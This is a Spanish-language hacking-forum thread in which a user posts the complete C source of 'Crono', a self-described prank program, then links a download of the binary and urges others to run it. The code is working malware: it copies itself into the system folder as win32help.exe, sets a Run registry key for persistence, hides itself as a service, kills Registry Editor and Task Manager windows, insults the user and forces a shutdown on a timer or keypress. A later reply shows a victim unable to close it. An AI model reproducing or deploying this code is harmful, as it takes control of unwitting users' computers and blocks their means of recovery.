Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Pseudoroot en 15 Septiembre 2005, 21:13 pm



Título: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 21:13 pm
Bueehh, finalmente aqui el pequeño y simple codigo de Crono.exe aquel programita que tanto susto y molestias causó a algunos, pues fue una broma, que me hizo reir un poco jeje. pero posteo el code debido a que varios me lo pidieron ,anda a saber para que.   pero en fin,. aqui esta..

ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion,


Código:
// Crono By Pseudoroot/GEDZAC

#include <windows.h>
#include <stdio.h>

//   PSEUDOROOT NI GEDZAC LABS SE HACEN
// RESPONSABLE DEL USO QUE LE DES
// AL CODIGO
char nombres[MAX_PATH];
int bandera=0;
int forzar=4;
HANDLE th;
LPSTR codigo;    //para leer el codigo
DWORD tamano;   //tamaño del archivo  ,no le puse tamaño debido a problemas con la ñ  xD
char nombre[MAX_PATH];   //para concatenar el nombre del archivo a generar
char nom[256]; // para el modulo en ejcucion
char varsystem[256];


#include "registro.h"


//--- Declaración de funciones del programa ------------------------------
int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );


//--- Declaración de variables del programa ------------------------------
char WindowName[]  = "Ventana de Windows";
char WindowTitle[] = "Crono By Pseudoroot";
int segundos;
char* vent1 = "Registry Editor";
char* vent2 = "Editor del Registro";
char* vent3 = "Administrador de tareas de Windows";
char* vent4 = "Windows Task Manager";
//=== Función principal WinMain() ========================================
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow )
{
    registrando();
    SacarCodigo();
    GetModuleFileName(0,nom,256);  //sacamos el nombre del modulo en ejecucion en la var. nom
    GetSystemDirectory(varsystem,sizeof(varsystem));
    strcat(varsystem,"\\win32help.exe");
    CopyFile(nom,varsystem,0);
strcat(nombre,"c:\\");  //concatenamos
strcat(nombre,"copia.exe");  //nombre de la copia que generara el programa para luego leer el
//codigo de esa misma copia
CopyFile(nom,nombre,0);
uno();
SacarCodigo();  //lamamos a la fucnion para que lea el codigo del archivo copia.exe
HANDLE exe;   // aunque finalmente no lo utilizo..xD
DWORD w;
exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(exe!=INVALID_HANDLE_VALUE)    //archivo que vamos a generar luego de sacar el codigo
{
                             WriteFile(exe,codigo,28000,&w,0);
}                             
HWND hwnd;                              // handle a la ventana ppal.
MSG msg;                                // estructura de mensaje
WNDCLASSEX wcx;                         // estructura de la ventana

// Definimos la estructura de clase de ventana (campos):
wcx.cbSize = sizeof( WNDCLASSEX );      // tamaño de la estructura
wcx.style = CS_HREDRAW | CS_VREDRAW;    // valores más usuales
wcx.lpfnWndProc = WndProc;              // función de ventana (Wnd)
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0;                     // informaciones extra
wcx.hInstance = hInstance;              // instancia actual

// icono, cursor, fondo e icono pequeño de la clase de ventana:
wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH );
    wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);

wcx.lpszMenuName = NULL;                // nombre del menú
wcx.lpszClassName = WindowName;         // nombre de la ventana

// Registramos la clase de ventana ya preparada:
if( !RegisterClassEx( &wcx ) )
return( FALSE );                    // en caso de error, salir

// Creamos la ventana con CreateWindowEx():
hwnd = CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW,             // estilo extendido
WindowName,                         // nombre de la ventana
WindowTitle,                        // título de la ventana
WS_CAPTION,                         // estilo de ventana
CW_USEDEFAULT, CW_USEDEFAULT,       // Posición (x,y) en pantalla
420,150,                             // ancho y alto de la ventana
NULL, NULL,                         // ventana padre e hija+menú
hInstance,                          // instancia actual
NULL                                // no hay más información
                 );

// Comprobamos la creación de la ventana:
if( !hwnd )
return( FALSE );                    // en caso de error, salir

// Hacemos visible la ventana y la actualizamos:
ShowWindow( hwnd, nCmdShow );
UpdateWindow( hwnd );

// Bucle de mensajes, envía los mensajes hacia WndProc
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg );           // convertimos el mensaje
DispatchMessage( &msg );            // devolvemos el control a w95
}

// devolvemos el valor recibido por PostQuitMessage().
return( msg.wParam );
DeleteFile("C:\\copia.exe");
}


//=== Función del procedimiento de ventana WndProc() =====================
LRESULT CALLBACK WndProc( HWND hwnd, UINT message,
  WPARAM wParam, LPARAM lParam )
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
int longitud;
int entero;
char cadena[40];
char cadena2[50];

switch( message )
{
case WM_CREATE:
segundos=30;
SetTimer( hwnd, 1, 1000, NULL );  // 
break;

case WM_KEYDOWN:
   
    {
   ExitWindowsEx(forzar,0);
    } 
        if( wParam == VK_ESCAPE )

    MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK);
    break;
   
case WM_TIMER:
segundos--;
if( segundos==0)
{ExitWindowsEx(forzar,0); }
HWND handle;

handle = FindWindow(0,vent1);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent2);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent3);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}

handle = FindWindow(0,vent4);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}


GetClientRect( hwnd, &rect );
InvalidateRect( hwnd, &rect, TRUE );
break;


     
   
   
      case WM_LBUTTONDOWN:
        MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK);
        break;
       case  WM_RBUTTONDOWN:
             MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK);
         break;



case   WM_RBUTTONDBLCLK:
     MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0);
     break;
     
    case WM_NCLBUTTONDOWN:
        MessageBoxA(NULL,"nah","nah",0);
        break;

case WM_PAINT:
hdc = BeginPaint( hwnd, &ps );
GetClientRect( hwnd, &rect );
longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti    ", segundos);
               
    DrawText( hdc, cadena, -1, &rect,
  DT_SINGLELINE | DT_CENTER | DT_VCENTER );
EndPaint( hwnd, &ps );
break;
case WM_CLOSE:
    MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


case WM_DESTROY:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


default:
return( DefWindowProc( hwnd, message, wParam, lParam ) );
}


return(0);
}


registro.h


#ifndef _RegisterProcess_
#define _RegisterProcess_

void registrando()
{
typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD);
HINSTANCE
hkernelLib;
pRegFunction
RegisterServiceProcess;
hkernelLib=LoadLibrary("Kernel32.dll");
if(hkernelLib)
{
RegisterServiceProcess=(pRegFunction) GetProcAddress
(hkernelLib,"RegisterServiceProcess");
if (RegisterServiceProcess)
{
RegisterServiceProcess(0,1);
FreeLibrary(hkernelLib);
}
}

}

void SacarCodigo()
{
     HANDLE fi;   //un handle para leer el archivo
     DWORD  rid;   //para la api
     fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL);
     if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal
     {
                                 tamano=GetFileSize(fi,NULL);   //sacamos el tamaño del archivo
                                 codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1);  //reservamos memoria
//para leer el archivo completo +1 por el caracter nulo
                                 if(codigo!=NULL)   //verificamos que se haya podido
                                 {
                                                 ReadFile(fi,codigo,tamano,&rid,0);  //leemos el archivo
                                                 }
                                                 }
                                                 CloseHandle(fi);  //cerramos handle
}
void uno()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem));
}
#endif





Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..


Título: Re: Código fuente de Crono
Publicado por: pisagatos en 15 Septiembre 2005, 22:11 pm
Graciass!! Muchas gracias por postearlo


Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 22:13 pm
se agradece, claro que si, ojala y te sirva para que comprendas como funcionaba.

Saludos.


Título: Re: Código fuente de Crono
Publicado por: Thaorius en 15 Septiembre 2005, 23:43 pm
No es por nada, pero que se supone que hace?

Saludos


Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 15 Septiembre 2005, 23:46 pm
si quieres probarlo copia y pega este link en tunavegador

http://usuarios.lycos.es/pseudoroot/crono1.zip



Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 00:11 am
si no quieres ejecutarlo leete este hilo

http://foro.elhacker.net/index.php/topic,84489.0.html




Título: Re: Código fuente de Crono
Publicado por: Thaorius en 16 Septiembre 2005, 00:37 am
Gracias, ahora lo miro.

Saludos


Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 00:53 am
Pues yo te recomiendo que lo ejecutes y lo pruebes..

la solucion esta en el mismo hilo ,que te di..


Título: Re: Código fuente de Crono
Publicado por: Thaorius en 16 Septiembre 2005, 01:39 am
La solucion esta  en el codigo fuente. ;D ;D ;D

Saludos


Título: Re: Código fuente de Crono
Publicado por: Pseudoroot en 16 Septiembre 2005, 01:58 am
Otra de las opciones. ahora que está publicado.


Título: Re: Código fuente de Crono
Publicado por: oskidelrio en 27 Abril 2012, 23:19 pm
¿como se cierra el crono??????
no hay manera,menuda jugarreta...no lo probeis

dadme la solución porfavor